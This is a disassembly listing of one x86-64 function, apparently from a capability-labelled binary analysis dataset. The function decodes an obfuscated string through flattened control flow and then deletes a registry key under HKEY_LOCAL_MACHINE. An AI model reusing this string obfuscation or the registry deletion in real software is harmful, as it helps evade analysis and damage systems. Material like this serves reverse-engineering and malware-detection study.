Function at 0x140100ba0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x14021a800]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, 4
mov rax, qword gs:[0x58]
mov rax, qword [rax]
lea rsi, [0x140220bb0]
mov eax, dword [rcx + rax]
cmp dword [0x140220bd0], eax
jle 0x140101810
lea rcx, [0x140220bd0]
call fcn.1401831f0
cmp dword [0x140220bd0], 0xffffffff
jne 0x140101810
mov dword [rbp - 0x29], 0xc7c5d4bb
mov dword [rbp - 0x25], 0xb0aadcd5
mov dword [rbp - 0x21], 0xdeccc3c1
mov dword [rbp - 0x1d], 0xccb9cdca
mov dword [rbp - 0x19], 0xf0f4c9ce
mov dword [rbp - 0x15], 0xf3e396ec
mov dword [rbp - 0x11], 0xfdef9298
mov dword [rbp - 0xd], 0xeae9e0f2
mov word [rbp - 9], 0x91fb
mov byte [rbp - 7], 0x52
xorps xmm0, xmm0
movups xmmword [rbp - 6], xmm0
movups xmmword [rbp + 0xa], xmm0
mov rdi, 0xffffffffffffffff
movabs r13, 0xb7acd81473d37e26
movabs r12, 0xfcb503f5170a2a9a
mov r14, qword [0x140220a78]
mov r15, qword [0x140220a80]
movzx r8d, byte [rbp - 0x39]
nop dword [rax]
mov rax, r15
mov r9, r14
nop word [rax + rax]
xor ebx, ebx
movabs rdx, 0x21209c934277c90e
cmp rbx, 0x43
jae 0x1401017ca
movzx r11d, byte [rbp + rbx - 0x29]
movzx r10d, r11b
cmp rax, rbx
ja 0x1401017c1
lea rcx, [r9 + 1]
cmp rax, rcx
jae 0x140100ceb
add rdx, rbx
mov rcx, rdx
and rcx, r11
imul r8, rcx, 0xfffffffffffffffe
add r8, rdx
add r8, r11
sub r8b, 0x62
jmp 0x140100d17
je 0x14010176c
inc rcx
cmp rax, rcx
je 0x140101710
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x1401016dd
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x1401016b0
movzx r10d, r11b
nop dword [rax + rax]
cmp r9, rbx
ja 0x1401017b8
lea rdx, [r9 + 4]
cmp rax, rdx
jae 0x140100d4a
lea rdx, [rbx + r13]
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0xa
jmp 0x140100d80
lea rcx, [r9 + 1]
cmp rax, rcx
je 0x14010165c
lea rcx, [r9 + 3]
cmp rax, rcx
je 0x140101633
lea rcx, [r9 + 5]
cmp rax, rcx
je 0x1401015fc
cmp rax, rdx
je 0x1401015a4
nop word [rax + rax]
lea rcx, [r9 + rax]
cmp rcx, rbx
jbe 0x1401011da
nop dword [rax]
lea rcx, [r9 + 0x5a]
cmp rax, rcx
je 0x1401011bb
lea rcx, [r9 + 0x64]
cmp rax, rcx
je 0x140101193
lea rcx, [r9 + 6]
cmp rax, rcx
je 0x14010116e
lea rcx, [r9 + 0x7a]
cmp rax, rcx
je 0x14010114f
lea rcx, [r9 + 0x40]
cmp rax, rcx
je 0x140101120
lea rcx, [r9 + 4]
cmp rax, rcx
je 0x140101104
lea rcx, [r9 + 0x1000]
cmp rax, rcx
je 0x1401010e8
lea rcx, [r9 + 0x20]
cmp rax, rcx
je 0x140100d90
lea rax, [r9 + 0x400]
lea r9, [rax + 2]
lea rcx, [r9 + 0x10]
cmp rax, rcx
jb 0x14010179d
lea rcx, [r9 + 1]
cmp rax, rcx
jb 0x140100f25
lea rcx, [r9 + 0x200]
cmp rax, rcx
jb 0x140100f01
lea rcx, [r9 + 9]
cmp rax, rcx
jb 0x140100ee6
lea rcx, [r9 + 0x5a]
cmp rax, rcx
jb 0x1401010c5
lea rcx, [r9 + 0x64]
cmp rax, rcx
jb 0x14010107e
lea rcx, [r9 + 6]
cmp rax, rcx
jb 0x14010105b
lea rax, [r9 + 0x42]
lea r9, [rax + 0x7a]
lea rcx, [r9 + 5]
cmp rax, rcx
ja 0x140101032
lea rcx, [r9 + 0x61]
cmp rax, rcx
ja 0x140101016
lea rcx, [r9 + 0x28]
cmp rax, rcx
ja 0x140100feb
lea rcx, [r9 + 3]
cmp rax, rcx
ja 0x140100fbd
lea rcx, [r9 + 0x400]
cmp rax, rcx
ja 0x140100f9d
lea rcx, [r9 + 0x10]
cmp rax, rcx
ja 0x140100f75
lea rcx, [r9 + 1]
cmp rax, rcx
ja 0x140100f59
lea rcx, [r9 + 0x200]
cmp rax, rcx
ja 0x140100d90
lea rax, [r9 + 0x2a]
lea r9, [rax + 0x200]
jmp 0x140100d90
lea rdx, [rbx + r12]
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x36
jmp 0x140100d80
movabs rdx, 0xba73cace921a987e
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x72
jmp 0x140100d20
movabs rdx, 0x783291a80d2b0662
add rdx, rbx
movzx ecx, r11b
and cl, dl
mov r8d, reloc.WLDAP32.dll_Ordinal_41
sub r8b, cl
add r8b, r8b
add r8b, dl
add r8b, r10b
movabs rdx, 0x21209c934277c90e
jmp 0x140100cc0
lea r8d, [rbx + 0x30]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x50
jmp 0x14010167f
lea r8d, [rbx + 0x14]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
inc r9
dec rbx
inc rbx
jmp 0x140100ca2
lea r8d, [rbx - 0x24]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 4
movzx r10d, bl
jmp 0x140101550
lea edx, [rbx - 0x40]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x40
add rax, r9
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea edx, [rbx - 0x5c]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x7c
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea r8d, [rbx + 0x6c]
movzx ecx, r11b
and cl, r8b
mov edx, 6
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x140101733
lea edx, [rbx + 0x50]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x30
movzx ecx, byte [rbp + rbx - 0x29]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140100ca2
lea edx, [rbx + 0xa]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x46
mov byte [rbp + rbx - 0x29], r8b
inc rbx
jmp 0x140100ca2
lea r8d, [rbx - 0x12]
movzx ecx, r11b
and cl, r8b
mov edx, 0x3f
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx r10d, bl
cmp r9, 1
jb 0x140101071
lea r8d, [r10 - 0x6c]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
add dl, r8b
lea r8d, [rdx*2 - 0x18]
jmp 0x140101686
movzx r10d, bl
lea r8d, [r10 - 0x2e]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_33
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
jmp 0x140101419
lea r8d, [rbx - 0x38]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x78
jmp 0x140101733
lea r8d, [rbx - 0x54]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1401015c6
lea r8d, [rbx - 0x70]
movzx ecx, r11b
and cl, r8b
mov edx, 8
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
movzx r10d, bl
lea edx, [r10 + 0x58]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x68
jmp 0x140101553
lea r8d, [rbx + 0x3c]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
dec rbx
inc rbx
jmp 0x140100ca2
lea r8d, [rbx + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140100ca2
movzx r10d, bl
lea edx, [r10 + 4]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x1c
jmp 0x140101686
lea rcx, [r9 + 0x80]
cmp rax, rcx
jae 0x140101246
movabs rdx, 0x21209c934277c90e
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
sub dl, cl
lea r8d, [r10 + rdx]
sub r8b, 0x62
lea rcx, [r9 + rax]
cmp rcx, 0x20
je 0x14010158a
lea rcx, [r9 + 0x400]
cmp rax, rcx
jbe 0x140101302
movzx r10d, bl
lea r8d, [r10 + 0x56]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x5a
add r8b, dl
jmp 0x140101419
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140101277
lea edx, [rbx + 0x4c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x14
movzx ecx, byte [rbp + rbx - 0x29]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1401012aa
lea edx, [rbx - 0x60]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x60
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1401012d6
movzx r10d, bl
lea r8d, [r10 - 0x28]
movzx ecx, r8b
and cl, r11b
mov edx, listen
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x140101553
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140101205
movzx r10d, bl
lea edx, [r10 + 0x2c]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x34
jmp 0x140101686
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14010132b
movzx r10d, bl
lea r8d, [r10 + 0x72]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x1e
jmp 0x140101683
inc rcx
cmp rax, rcx
jne 0x140101358
lea r8d, [rbx - 0x56]
movzx ecx, r11b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_45
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
dec rbx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14010138f
lea edx, [rbx - 0x1e]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
lea r8d, [rdx + r11]
sub r8b, 0x2e
add rax, r9
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401013c7
lea r8d, [rbx - 2]
movzx ecx, r11b
and cl, r8b
mov edx, 7
sub dl, cl
add dl, dl
add dl, r11b
add r8b, dl
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x1401013f0
movzx r10d, bl
lea r8d, [r10 + 0x1a]
movzx ecx, r11b
and cl, r8b
mov edx, Ordinal_41
sub dl, cl
add dl, dl
add dl, r11b
jmp 0x1401015ca
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140101415
lea r8d, [rbx + 0x36]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x7a
jmp 0x140101733
movzx r10d, bl
cmp rax, 6
jae 0x14010153a
lea rcx, [r9 + 0x42]
cmp rax, rcx
jbe 0x14010144b
lea r8d, [r10 + 0x7c]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x64
add r8b, dl
jmp 0x14010109c
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14010147f
sub r10b, 0x68
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x28
movzx ecx, byte [rbp + rbx - 0x29]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140100ca2
inc rcx
cmp rax, rcx
jne 0x1401014a8
sub r10b, 0x4c
movzx ecx, r11b
and cl, r10b
mov edx, 0xa
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
jmp 0x140101736
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1401014e1
add r10b, 8
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
lea r8d, [r10 + r11]
sub r8b, 0x38
add rax, r9
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x140101511
add r10b, 0x40
movzx ecx, r11b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r11b
add r8b, r10b
dec rbx
inc rbx
jmp 0x140100ca2
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14010109c
lea r8d, [r10 + 0x78]
movzx ecx, r11b
and cl, r8b
add cl, cl
movzx edx, r11b
sub dl, cl
sub r8b, 0x48
jmp 0x140101683
lea r8d, [r10 - 0x50]
movzx ecx, r11b
and cl, r8b
movzx edx, r11b
sub dl, cl
add dl, 0x18
add dl, dl
add r8b, dl
sub r10b, 0x42
movzx ecx, r11b
and cl, r10b
add cl, cl
sub r11b, cl
sub r11b, 0x32
add r11b, r10b
add r11b, r8b
mov byte [rbp + rbx - 0x29], r11b
add rax, r9
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
movzx r10d, bl
lea r8d, [r10 - 0x34]
movzx ecx, r11b
and cl, r8b
mov edx, gethostname
sub dl, cl
add dl, dl
jmp 0x1401015ca
movabs rdx, 0x8775682216607cea
add rdx, rbx
and r11b, dl
add r11b, r11b
movzx r8d, r10b
sub r8b, r11b
sub r8b, 0x66
movzx r11d, r10b
movzx r10d, bl
add r8b, dl
sub r10b, 0x26
movzx ecx, r10b
and cl, r11b
mov edx, 5
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
movzx ecx, dl
mov byte [rbp + rbx - 0x29], cl
inc r9
add rcx, r9
sub rbx, rcx
jmp 0x140101736
movabs rdx, 0x45342efb9170eace
add rdx, rbx
and r11b, dl
mov ecx, Ordinal_50
sub cl, r11b
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, dl
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
movabs rcx, 0x7e70838802a2347a
add rcx, rbx
and r11b, cl
add r11b, r11b
sub r10b, r11b
lea r8d, [rcx + r10]
sub r8b, 0x56
dec rbx
inc rbx
jmp 0x140100ca2
movabs rdx, 0xf9ee113af8c31042
add rdx, rbx
and r11b, dl
mov ecx, Ordinal_27
sub cl, r11b
lea r8d, [rcx + rcx]
add r8b, r10b
movzx r11d, r10b
movzx r10d, bl
add r8b, dl
sub r10b, 0x5e
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x6e
add r10b, r11b
mov byte [rbp + rbx - 0x29], r10b
inc r9
dec rbx
inc rbx
jmp 0x140100ca2
movabs rdx, 0xf0e92ca0e504c7d2
add rdx, rbx
and r11b, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, r11b
lea r8d, [rcx + rcx]
add r8b, r10b
add r8b, dl
dec rbx
inc rbx
jmp 0x140100ca2
movabs rcx, 0x2a25812d5636117e
add rcx, rbx
and r11b, cl
add r11b, r11b
sub r10b, r11b
lea r8d, [rcx + r10]
sub r8b, 0x72
movzx ecx, r8b
mov rdx, rdi
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140100ca2
movabs rdx, 0xa5a30ee04c56ed46
add rdx, rbx
and r11b, dl
mov ecx, listen
sub cl, r11b
lea r8d, [rcx + rcx]
add r8b, r10b
movzx r11d, r10b
add r8b, dl
lea edx, [rbx - 0x18]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
sub dl, 0x58
add dl, r11b
mov byte [rbp + rbx - 0x29], dl
inc rax
mov rcx, rdi
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx - 0x29]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140100ca2
movabs rcx, 0x6361d5b9c7675b2a
add rcx, rbx
and r11b, cl
add r11b, r11b
sub r10b, r11b
lea r8d, [rcx + r10]
sub r8b, 0x26
movzx ecx, byte [rbp + rbx - 0x29]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140100ca2
add bl, 0x2a
movzx eax, r11b
and al, bl
add al, al
sub r11b, al
lea r8d, [rbx + r11]
sub r8b, 0x26
jmp 0x140100c8d
lea rdx, [rbp + 0x17b153f]
jmp 0x1401017ce
lea rdx, [rbp + 0x132de4d]
jmp 0x1401017ce
lea rdx, [rbp - 0x29]
xorps xmm0, xmm0
movups xmmword [0x140220bb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [0x140220bc0], xmm1
inc rdi
cmp byte [rdx + rdi], 0
jne 0x1401017e3
mov r8, rdi
mov rcx, rsi
call fcn.140004030
lea rcx, [0x1401878f0]
call fcn.140183490
nop
lea rcx, [0x140220bd0]
call fcn.140183184
cmp qword [0x140220bc8], 0xf
cmova rsi, qword [0x140220bb0]
lea r8, [rbp + 0x27]
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea rdx, [0x14021aef0]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x14021aef0]
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x14010186b
mov rcx, qword [rbp + 0x27]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x14010186b
mov al, 1
jmp 0x14010186d
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1401830b0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret